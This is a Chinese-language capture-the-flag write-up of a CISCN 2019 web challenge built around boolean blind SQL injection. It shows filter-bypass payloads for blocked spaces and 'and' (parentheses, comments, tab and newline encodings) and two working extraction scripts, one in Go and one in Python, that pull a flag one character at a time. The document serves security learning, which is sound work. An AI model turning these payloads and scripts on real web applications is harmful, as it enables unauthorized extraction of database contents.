CISCN2019 华北赛区 Day2 Web1
过程 启动环境,打开页面
ciscn_2019_web_northern-china-web1
好久没做了,拿到有点一脸懵逼…
不过看到提示说是花式盲注,就按照sql注入的思路先试一下
随便输入了一些值看了下返回结果
首先是一些正常输入吧,1和2输入是有一句不同的话返回,
ciscn_2019_web_northern-china-web1
ciscn_2019_web_northern-china-web1
其它数字返回"Error Occured When Fetch Result",
ciscn_2019_web_northern-china-web1
输入别的字符是返回"bool(false)"
ciscn_2019_web_northern-china-web1
然后随便输入一些注入语句尝试,会发现有规则过滤
ciscn_2019_web_northern-china-web1
这里1,2可以返回不同的页面,然后上面的bool(false)也算提示吧,基本就会想到用bool注入
常用的bool注入形式 xx and xx,这里and被过滤了,这种形式不行,而且我们的逻辑是对的输入1错的输入2,这样的形式
这就肯定想到用if, if (ascii(substr((select flag from flag),1,1))=115 ,1,2)采用这样的形式,但尝试了一下返回被检查到注入攻击,但试了下上面的关键字发现都可以用…
菜鸡挠头…
偷偷看下wp发现空格也是被过滤的…
查了下绕过空格检测的方法
1.通过注释绕过空格
注释即/**/
通过注释取代空格
eg: or//‘me’//=/**/‘isme’
2.通过括号绕过空格
eg: and(1=0)
试了下1会被检查到不行
2 使用括号后
if(ascii(substr((select(flag)from(flag)),1,1))=115,1,2)
发现返回了"Do you want to be my girlfriend?"
说明可行,这样的话写个脚本简单的来跑下
不知道长度就随便写个较大的长度保证能跑完flag就行
package main
import(
"net/http"
"net/url"
"io/ioutil"
"fmt"
"strconv"
"strings"
)
func main(){
var flag string
for j:=1; j<50; j++{
for i:=32; i<128; i++{
resp, _ := http.PostForm("http://127.0.0.1:8302/index.php",
url.Values{"id": {"if(ascii(substr((select(flag)from(flag)),"+strconv.Itoa(j)+",1))="+strconv.Itoa(i)+",1,2)"}})
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "glzjin"){
flag += string(i)
}
}
}
fmt.Println(flag)
}
为什么用go语言写写这个脚本呢,可能也是闲的吧…
(
ciscn_2019_web_northern-china-web1
可以看到成功拿到了flag
总结 这道题怎么说了也不算难吧,考查了sql的盲注,但对于我这样的菜鸡依旧解决困难
总是觉得sql注入的题不好做,想了想,主要还是sql注入它很少有常规的注入能让你直接sqlmap就能跑出来的情况
一般都会设置各种过滤或者需要各种骚操作去绕过,而这些首先需要耐心吧,毕竟规则这些在不看源码的情况一次次去尝试是很需要耐心的,其次还需要经验吧,比如上面的过滤空格没遇到过,就直接懵逼,最后可能再需要加点灵感吧
然后看了大佬的wp发现绕过空格还有下面的一些手段
空格的绕过有这些方法我测试是可以的
%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab
%20 好像没法绕,%00截断好像也影响sql语句的执行
或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
python版脚本: import requests
import time
url = "http://xuenixiang.cn:20486"
res = ''
for i in range(1,51):
print(i)
left = 31
right = 126
mid = left + ((right - left)>>1)
while left < right:
payload = "1^(ascii(substr((select(flag)from(flag)),%d,1))>%d)"%(i,mid)
data = {"id":payload}
r = requests.post(url = url, data = data)
#print(mid)
if r.status_code == 429:
print('too fast')
time.sleep(1)
if "Hello" not in r.text:
left = mid + 1
elif "Hello" in r.text:
right = mid
mid = left + ((right-left)>>1)
res += chr(mid)
print(str(mid),res)
ciscn_2019_web_northern-china-web1
|